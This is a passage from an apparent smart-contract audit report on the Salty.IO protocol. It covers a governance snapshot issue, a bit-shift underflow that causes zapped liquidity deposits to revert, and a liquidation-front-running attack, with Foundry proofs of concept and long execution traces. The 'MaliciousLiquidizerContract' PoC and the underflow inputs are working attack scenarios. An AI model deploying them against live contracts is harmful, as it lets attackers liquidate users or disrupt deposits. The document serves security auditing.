└─ ← 100000000000000000000000000 [1e26] │ │ └─ ← true │ ├─ [4651] Proposals::ballotForID(1) [staticcall] │ │ └─ ← (1, true, 0, parameter:2, 0x0000000000000000000000000000000000000000, 2, , description, 1711192404 [1.711e9]) │ ├─ [4651] Proposals::ballotForID(1) [staticcall] │ │ └─ ← (1, true, 0, parameter:2, 0x0000000000000000000000000000000000000000, 2, , description, 1711192404 [1.711e9]) │ ├─ [1073] Proposals::winningParameterVote(1) [staticcall] │ │ └─ ← 1 │ ├─ [6872] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::2c3fe737(0000000000000000000000000000000000000000000000000000000000000000) │ │ ├─ emit MinUnstakeWeeksChanged(newMinUnstakeWeeks: 1) │ │ └─ ← () │ ├─ [6516] Proposals::markBallotAsFinalized(1) │ │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ │ ├─ emit BallotFinalized(ballotID: 1) │ │ └─ ← () │ ├─ emit BallotFinalized(ballotID: 1, winningVote: 1) │ └─ ← () ├─ [27923] Staking::cancelUnstake(0) │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 930000000000000000000000 [9.3e23]) │ ├─ emit UnstakeCancelled(user: 0x0000000000000000000000000000000000001111, unstakeID: 0) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () └─ ← () Test result: ok. 1 passed; 0 failed; finished in 9.81s
Manual review
Taking snapshots of the total voting power of the staking contract as well as the voting power of the users would not allow this kind of attack.
Governance
#0 - c4-judge
2024-02-02T22:21:46Z
Picodes marked the issue as duplicate of #46
#1 - c4-judge
2024-02-21T14:26:02Z
Picodes marked the issue as satisfactory
552.2953 USDC - $552.30
https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/PoolMath.sol#L192 https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/PoolMath.sol#L212-L227 https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/PoolMath.sol#L152-L207
When a user would try to add liquidity to a pool with zapping (having unbalanced amounts), he can get his transaction reverted due to an underflow in certain scenarios. User will not lose anything but a functionality of the system can get broken in some situations.
For a user to add liquidity with unbalanced amounts of assets, have to call the function depositLiquidityAndIncreaseShare
enabling the useZapping
feature. This will gonna compute the amount that needs to be swapped from one token to the other in order to have a balanced ratio of the tokens compared to the pool. This computation is done in this function:
function _zapSwapAmount( uint256 reserve0, uint256 reserve1, uint256 zapAmount0, uint256 zapAmount1 ) internal pure returns (uint256 swapAmount) { uint256 maximumMSB = _maximumMSB( reserve0, reserve1, zapAmount0, zapAmount1); uint256 shift = 0; // Assumes the largest number has more than 80 bits - but if not then shifts zero effectively as a straight assignment. // C will be calculated as: C = r0 * ( r1 * z0 - r0 * z1 ) / ( r1 + z1 ); // Multiplying three 80 bit numbers will yield 240 bits - within the 256 bit limit. if ( maximumMSB > 80 ) shift = maximumMSB - 80; // Normalize the inputs to 80 bits. uint256 r0 = reserve0 >> shift; uint256 r1 = reserve1 >> shift; uint256 z0 = zapAmount0 >> shift; uint256 z1 = zapAmount1 >> shift; // In order to swap and zap, require that the reduced precision reserves and one of the zapAmounts exceed DUST. // Otherwise their value was too small and was crushed by the above precision reduction and we should just return swapAmounts of zero so that default addLiquidity will be attempted without a preceding swap. if ( r0 < PoolUtils.DUST) return 0; if ( r1 < PoolUtils.DUST) return 0; if ( z0 < PoolUtils.DUST) if ( z1 < PoolUtils.DUST) return 0; // Components of the quadratic formula mentioned in the initial comment block: x = [-B + sqrt(B^2 - 4AC)] / 2A uint256 A = 1; uint256 B = 2 * r0; // Here for reference // uint256 C = r0 * ( r0 * z1 - r1 * z0 ) / ( r1 + z1 ); // uint256 discriminant = B * B - 4 * A * C; // Negate C (from above) and add instead of subtract. // r1 * z0 guaranteed to be greater than r0 * z1 per the conditional check in _determineZapSwapAmount uint256 C = r0 * ( r1 * z0 - r0 * z1 ) / ( r1 + z1 ); uint256 discriminant = B * B + 4 * A * C; // Compute the square root of the discriminant. uint256 sqrtDiscriminant = Math.sqrt(discriminant); // Safety check: make sure B is not greater than sqrtDiscriminant if ( B > sqrtDiscriminant ) return 0; // Only use the positive sqrt of the discriminant from: x = (-B +/- sqrtDiscriminant) / 2A swapAmount = ( sqrtDiscriminant - B ) / ( 2 * A ); // Denormalize from the 80 bit representation swapAmount <<= shift; }
The only line that is capable of underflowing is this one:
uint256 C = r0 * ( r1 * z0 - r0 * z1 ) / ( r1 + z1 );
However, there is a comment above that tells us that it is checked before in a previous function.
Specifically here:
function _determineZapSwapAmount( uint256 reserveA, uint256 reserveB, uint256 zapAmountA, uint256 zapAmountB ) internal pure returns (uint256 swapAmountA, uint256 swapAmountB ) { // zapAmountA / zapAmountB exceeds the ratio of reserveA / reserveB? - meaning too much zapAmountA if ( zapAmountA * reserveB > reserveA * zapAmountB ) (swapAmountA, swapAmountB) = (_zapSwapAmount( reserveA, reserveB, zapAmountA, zapAmountB ), 0); // zapAmountA / zapAmountB is less than the ratio of reserveA / reserveB? - meaning too much zapAmountB if ( zapAmountA * reserveB < reserveA * zapAmountB ) (swapAmountA, swapAmountB) = (0, _zapSwapAmount( reserveB, reserveA, zapAmountB, zapAmountA )); // Ensure we are not swapping more than was specified for zapping if ( ( swapAmountA > zapAmountA ) || ( swapAmountB > zapAmountB ) ) return (0, 0); return (swapAmountA, swapAmountB); }
We can see that this condition is checked in order to not underflow. However, since in the computation for the swap amount normalizes the different reserves and amounts to have less bits, if one of the reserves/amounts was greater than 0 and gets shifted to 0, this condition can reverse and it would result in an underflow.
To have a clear image, consider the following example:
reserveA = 20_000_000 ether; reserveB = 1_000 * 10**6; amountA = 0.01 ether; amountB = 15;
The user wants to add 0.01 * 10**18 of the tokenA and have some dust amount of tokenB.
When it computes the condition in _determineZapSwapAmount
function, it will achieve the following:
zapAmountA * reserveB < reserveA * zapAmountB 10000000000000000 * 1000000000 < 20000000000000000000000000 * 15
However, when these amounts and reserves are normalized, they get shifted 4 bits (just for this situation and for these amounts). So this condition will not be met with the normalized amounts:
625000000000000 * 62500000 > 1250000000000000000000000 * 0
Basically this will underflow and revert the whole transaction.
Notice that this just happens when one of the amounts in this condition is positive before normalization and gets 0 after bit shifting.
Check this foundry test
Setup:
contract TestComprehensive1 is Deployment { // User wallets for testing address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); address public constant delta = address(0x4444); function setUp() public { initializeContracts(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); grantAccessDeployer(); grantAccessDefault(); // Give some WBTC and WETH to Alice, Bob and Charlie vm.startPrank(DEPLOYER); wbtc.transfer(alice, 1000 * 10**8 ); wbtc.transfer(bob, 1000 * 10**8 ); wbtc.transfer(charlie, 1000 * 10**8 ); weth.transfer(alice, 1000 ether); weth.transfer(bob, 1000 ether); weth.transfer(charlie, 1000 ether); vm.stopPrank(); // Everyone approves vm.startPrank(alice); salt.approve(address(pools), type(uint256).max); wbtc.approve(address(pools), type(uint256).max); weth.approve(address(pools), type(uint256).max); salt.approve(address(collateralAndLiquidity), type(uint256).max); wbtc.approve(address(collateralAndLiquidity), type(uint256).max); weth.approve(address(collateralAndLiquidity), type(uint256).max); vm.stopPrank(); vm.startPrank(bob); salt.approve(address(pools), type(uint256).max); wbtc.approve(address(pools), type(uint256).max); weth.approve(address(pools), type(uint256).max); salt.approve(address(collateralAndLiquidity), type(uint256).max); wbtc.approve(address(collateralAndLiquidity), type(uint256).max); weth.approve(address(collateralAndLiquidity), type(uint256).max); vm.stopPrank(); vm.startPrank(charlie); salt.approve(address(pools), type(uint256).max); wbtc.approve(address(pools), type(uint256).max); weth.approve(address(pools), type(uint256).max); salt.approve(address(collateralAndLiquidity), type(uint256).max); wbtc.approve(address(collateralAndLiquidity), type(uint256).max); weth.approve(address(collateralAndLiquidity), type(uint256).max); wbtc.approve(address(collateralAndLiquidity), type(uint256).max); weth.approve(address(collateralAndLiquidity), type(uint256).max); vm.stopPrank(); // Cast votes for the BootstrapBallot so that the initialDistribution can happen bytes memory sig = abi.encodePacked(aliceVotingSignature); vm.startPrank(alice); bootstrapBallot.vote(true, sig); vm.stopPrank(); sig = abi.encodePacked(bobVotingSignature); vm.startPrank(bob); bootstrapBallot.vote(true, sig); vm.stopPrank(); sig = abi.encodePacked(charlieVotingSignature); vm.startPrank(charlie); bootstrapBallot.vote(false, sig); vm.stopPrank(); // Finalize the ballot to distribute SALT to the protocol contracts and start up the exchange vm.warp( bootstrapBallot.completionTimestamp() ); bootstrapBallot.finalizeBallot(); // Have alice, bob and charlie claim their xSALT airdrop vm.prank(alice); airdrop.claimAirdrop(); vm.prank(bob); airdrop.claimAirdrop(); vm.prank(charlie); airdrop.claimAirdrop(); // Wait a day so that alice, bob and charlie receive some SALT emissions for their xSALT vm.warp( block.timestamp + 1 days ); upkeep.performUpkeep(); bytes32[] memory poolIDs = new bytes32[](1); poolIDs[0] = PoolUtils.STAKED_SALT; vm.prank(alice); staking.claimAllRewards(poolIDs); vm.prank(bob); staking.claimAllRewards(poolIDs); vm.prank(charlie); staking.claimAllRewards(poolIDs); }
Proof of Concept:
function testUnderflowZapping() public { vm.startPrank(DEPLOYER); weth.approve(address(collateralAndLiquidity), 20_000_000 ether); wbtc.approve(address(collateralAndLiquidity), 1_000 * 10**6); collateralAndLiquidity.depositCollateralAndIncreaseShare(1_000 * 10**6, 20_000_000 ether, 0, block.timestamp, false); vm.stopPrank(); vm.startPrank(alice); weth.approve(address(collateralAndLiquidity), 0.01 ether); wbtc.approve(address(collateralAndLiquidity), 15); vm.expectRevert(); // this revert due to underflow collateralAndLiquidity.depositCollateralAndIncreaseShare(15, 0.01 ether, 0, block.timestamp, true); vm.stopPrank(); }
Output traces:
Running 1 test for src/scenario_tests/Comprehensive1.t.sol:TestComprehensive1 [PASS] testUnderflowZapping() (gas: 383356) Traces: [387569] TestComprehensive1::testUnderflowZapping() ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [24603] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 20000000000000000000000000 [2e25]) │ ├─ emit Approval(owner: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 20000000000000000000000000 [2e25]) │ └─ ← true ├─ [24603] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 1000000000 [1e9]) │ ├─ emit Approval(owner: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 1000000000 [1e9]) │ └─ ← true ├─ [257619] CollateralAndLiquidity::depositCollateralAndIncreaseShare(1000000000 [1e9], 20000000000000000000000000 [2e25], 0, 1706828184 [1.706e9], false) │ ├─ [14386] ExchangeConfig::walletHasAccess(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) [staticcall] │ │ ├─ [4706] AccessManager::walletHasAccess(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [25847] TestERC20::transferFrom(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 1000000000 [1e9]) │ │ ├─ emit Approval(owner: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 0) │ │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 1000000000 [1e9]) │ │ └─ ← true │ ├─ [25847] TestERC20::transferFrom(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 20000000000000000000000000 [2e25]) │ │ ├─ emit Approval(owner: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 0) │ │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 20000000000000000000000000 [2e25]) │ │ └─ ← true │ ├─ [24603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 1000000000 [1e9]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 1000000000 [1e9]) │ │ └─ ← true │ ├─ [24603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 20000000000000000000000000 [2e25]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 20000000000000000000000000 [2e25]) │ │ └─ ← true │ ├─ [73888] Pools::addLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 1000000000 [1e9], 20000000000000000000000000 [2e25], 0, 0) │ │ ├─ [22007] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 1000000000 [1e9]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 1000000000 [1e9]) │ │ │ └─ ← true │ │ ├─ [22007] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 20000000000000000000000000 [2e25]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 20000000000000000000000000 [2e25]) │ │ │ └─ ← true │ │ ├─ emit LiquidityAdded(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], addedAmountA: 1000000000 [1e9], addedAmountB: 20000000000000000000000000 [2e25], addedLiquidity: 20000000000000001000000000 [2e25]) │ │ └─ ← 1000000000 [1e9], 20000000000000000000000000 [2e25], 20000000000000001000000000 [2e25] │ ├─ [2510] PoolsConfig::isWhitelisted(0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall] │ │ └─ ← true │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [2328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::9852e419() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000e10 │ ├─ emit UserShareIncreased(wallet: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountIncreased: 20000000000000001000000000 [2e25]) │ ├─ emit LiquidityDeposited(user: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], amountA: 1000000000 [1e9], amountB: 20000000000000000000000000 [2e25], addedLiquidity: 20000000000000001000000000 [2e25]) │ ├─ emit CollateralDeposited(depositor: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, amountWBTC: 1000000000 [1e9], amountWETH: 20000000000000000000000000 [2e25], liquidity: 20000000000000001000000000 [2e25]) │ └─ ← 1000000000 [1e9], 20000000000000000000000000 [2e25], 20000000000000001000000000 [2e25] ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [7503] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000000000 [1e16]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000000000 [1e16]) │ └─ ← true ├─ [7503] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 15) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 15) │ └─ ← true ├─ [0] VM::expectRevert() │ └─ ← () ├─ [66920] CollateralAndLiquidity::depositCollateralAndIncreaseShare(15, 10000000000000000 [1e16], 0, 1706828184 [1.706e9], true) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [25508] TestERC20::transferFrom(0x0000000000000000000000000000000000001111, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 15) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 15) │ │ └─ ← true │ ├─ [25508] TestERC20::transferFrom(0x0000000000000000000000000000000000001111, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000000000 [1e16]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000000000 [1e16]) │ │ └─ ← true │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 1000000000 [1e9], 20000000000000000000000000 [2e25] │ └─ ← "Arithmetic over/underflow" ├─ [0] VM::stopPrank() │ └─ ← () └─ ← () Test result: ok. 1 passed; 0 failed; finished in 11.40s
Fuzzing
Do not use normalization of the reserves and amounts because that is the root cause of this issue
Under/Overflow
#0 - c4-judge
2024-02-02T14:57:44Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2024-02-12T00:14:04Z
othernet-global (sponsor) confirmed
#2 - othernet-global
2024-02-12T00:19:42Z
#3 - c4-judge
2024-02-19T15:36:16Z
Picodes marked the issue as satisfactory
#4 - c4-judge
2024-02-19T15:36:19Z
Picodes marked the issue as selected for report
#5 - Picodes
2024-02-19T15:37:20Z
This report shows how in certain conditions depositLiquidityAndIncreaseShare
with zapping reverts due to an underflow. Although the impact remains minimal this is a DoS.
#6 - c4-judge
2024-02-19T15:54:38Z
Picodes marked the issue as duplicate of #232
#7 - c4-judge
2024-02-19T15:54:59Z
Picodes marked the issue as not selected for report
🌟 Selected for report: juancito
Also found by: 0x3b, 0xBinChook, 0xCiphky, 0xHelium, 0xMango, 0xOmer, 0xRobocop, 0xSmartContractSamurai, 0xWaitress, 0xbepresent, 0xpiken, 7ashraf, Arz, Audinarey, Banditx0x, Bauchibred, Draiakoo, IceBear, J4X, Jorgect, Kaysoft, KingNFT, Rhaydden, Rolezn, The-Seraphs, Tigerfrake, Topmark, Tripathi, Udsen, ZanyBonzy, a3yip6, b0g0, chaduke, codeslide, csanuragjain, dharma09, djxploit, eta, ether_sky, grearlake, inzinko, jasonxiale, jesjupyter, josephdara, lanrebayode77, linmiaomiao, lsaudit, niroh, oakcobalt, peanuts, pina, sivanesh_808, slvDev, t0x1c, vnavascues, wangxx2026
11.6897 USDC - $11.69
When the parameter minimumCollateralRatioPercent
is increased in a DAO proposal, users that had USDS borrowed will be affected. A user can immediately liquidize all users that do not meet this new parameter after finalizing the ballot.
Check this foundry test
Setup:
contract TestCollateral is Deployment { // User wallets for testing address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); bytes32 public collateralPoolID; constructor() { // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol) if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" ))) initializeContracts(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); grantAccessDeployer(); grantAccessDefault(); finalizeBootstrap(); vm.prank(address(daoVestingWallet)); salt.transfer(DEPLOYER, 1000000 ether); collateralPoolID = PoolUtils._poolID( wbtc, weth ); // Mint some USDS to the DEPLOYER vm.prank( address(collateralAndLiquidity) ); usds.mintTo( DEPLOYER, 2000000 ether ); }
Proof of Concept:
contract MaliciousLiquidizerContract { address private immutable owner; constructor(){ owner = msg.sender; } modifier onlyOwner(){ if(msg.sender != owner) revert(); _; } function finalizeBallotAndLiquidizeAllUsers(ICollateralAndLiquidity target, IDAO dao, uint256 ballotID) public onlyOwner{ dao.finalizeBallot(ballotID); address[] memory liquidizableUsers = target.findLiquidatableUsers(); for(uint256 i; i < liquidizableUsers.length; ++i){ target.liquidateUser(liquidizableUsers[i]); } } function transferTokensToOwner(IERC20 token) public onlyOwner{ token.transfer(msg.sender, token.balanceOf(address(this))); } } function testLiquidatidationThreshold() public { skip(46 days); uint256 aliceAmountBTCCollateral = 100 * 10**8; // 100 BTC uint256 aliceAmountETHCollateral = 2_000 ether; // 2_000 ETH vm.startPrank(DEPLOYER); // Alice had some funds in the pool weth.transfer(alice, aliceAmountETHCollateral); wbtc.transfer(alice, aliceAmountBTCCollateral); salt.transfer(bob, 1000000 ether); // There are some initial reserves in the pool weth.approve(address(2_000 ether), type(uint256).max); wbtc.approve(address(100 * 10**8), type(uint256).max); collateralAndLiquidity.depositCollateralAndIncreaseShare( 100 * 10**8, 2_000 ether, 0, block.timestamp, false ); vm.stopPrank(); // Alice deposits collateral and borrows the maximum USDS that she can vm.startPrank(alice); weth.approve(address(collateralAndLiquidity), type(uint256).max); wbtc.approve(address(collateralAndLiquidity), type(uint256).max); collateralAndLiquidity.depositCollateralAndIncreaseShare( aliceAmountBTCCollateral, aliceAmountETHCollateral, 0, block.timestamp, false ); collateralAndLiquidity.borrowUSDS(collateralAndLiquidity.maxBorrowableUSDS(alice)); vm.stopPrank(); // Prices crashes vm.startPrank( DEPLOYER ); forcedPriceFeed.setBTCPrice( forcedPriceFeed.getPriceBTC() * 54 / 100); forcedPriceFeed.setETHPrice( forcedPriceFeed.getPriceETH() * 54 / 100 ); vm.stopPrank(); // A proposal to increase the minimum ratio percent is created and reached to approve vm.startPrank(bob); salt.approve(address(staking), 1000000 ether); staking.stakeSALT( 1000000 ether ); uint256 ballotID = proposals.proposeParameterBallot(uint256(uint8(ParameterTypes.minimumCollateralRatioPercent)), "description"); proposals.castVote(ballotID, Vote.INCREASE); skip(11 days); // At this point who call finalizeBallot will be able to liquidize users with the new minimumCollateralRatioPercent // Bob deploys a contract that will immediately after finalizing the ballot, look for all liquidizable users and // liquidize them MaliciousLiquidizerContract attackerContract = new MaliciousLiquidizerContract(); uint256 attackerWbtcBalanceBefore = wbtc.balanceOf(bob); uint256 attackerWethBalanceBefore = weth.balanceOf(bob); attackerContract.finalizeBallotAndLiquidizeAllUsers(collateralAndLiquidity, dao, ballotID); // After that Bob transfer all the profits to himself attackerContract.transferTokensToOwner(wbtc); attackerContract.transferTokensToOwner(weth); uint256 attackerWbtcBalanceAfter = wbtc.balanceOf(bob); uint256 attackerWethBalanceAfter = weth.balanceOf(bob); console.log("Attacker BTC profit", attackerWbtcBalanceAfter - attackerWbtcBalanceBefore); console.log("Attacker ETH profit", attackerWethBalanceAfter - attackerWethBalanceBefore); }
Output traces:
Running 1 test for src/stable/tests/POCLiquidation.sol:TestCollateral [PASS] testLiquidatidationThreshold() (gas: 1611232) Logs: Attacker BTC profit 1380433 Attacker ETH profit 276086746455736392 Traces: [1615445] TestCollateral::testLiquidatidationThreshold() ├─ [0] VM::warp(1710844237 [1.71e9]) │ └─ ← () ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [12634] TestERC20::transfer(0x0000000000000000000000000000000000001111, 2000000000000000000000 [2e21]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 2000000000000000000000 [2e21]) │ └─ ← true ├─ [12634] TestERC20::transfer(0x0000000000000000000000000000000000001111, 10000000000 [1e10]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 10000000000 [1e10]) │ └─ ← true ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000002222, 1000000000000000000000000 [1e24]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000002222, value: 1000000000000000000000000 [1e24]) │ └─ ← true ├─ [24603] TestERC20::approve(0x00000000000000000000006c6B935b8bbD400000, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ ├─ emit Approval(owner: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, spender: 0x00000000000000000000006c6B935b8bbD400000, value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ └─ ← true ├─ [24603] TestERC20::approve(0x00000000000000000000000000000002540Be400, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ ├─ emit Approval(owner: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, spender: 0x00000000000000000000000000000002540Be400, value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ └─ ← true ├─ [249638] CollateralAndLiquidity::depositCollateralAndIncreaseShare(10000000000 [1e10], 2000000000000000000000 [2e21], 0, 1710844237 [1.71e9], false) │ ├─ [14386] ExchangeConfig::walletHasAccess(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) [staticcall] │ │ ├─ [4706] AccessManager::walletHasAccess(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [27320] TestERC20::transferFrom(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000 [1e10]) │ │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000 [1e10]) │ │ └─ ← true │ ├─ [27320] TestERC20::transferFrom(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 2000000000000000000000 [2e21]) │ │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 2000000000000000000000 [2e21]) │ │ └─ ← true │ ├─ [24603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10]) │ │ └─ ← true │ ├─ [24603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 2000000000000000000000 [2e21]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: 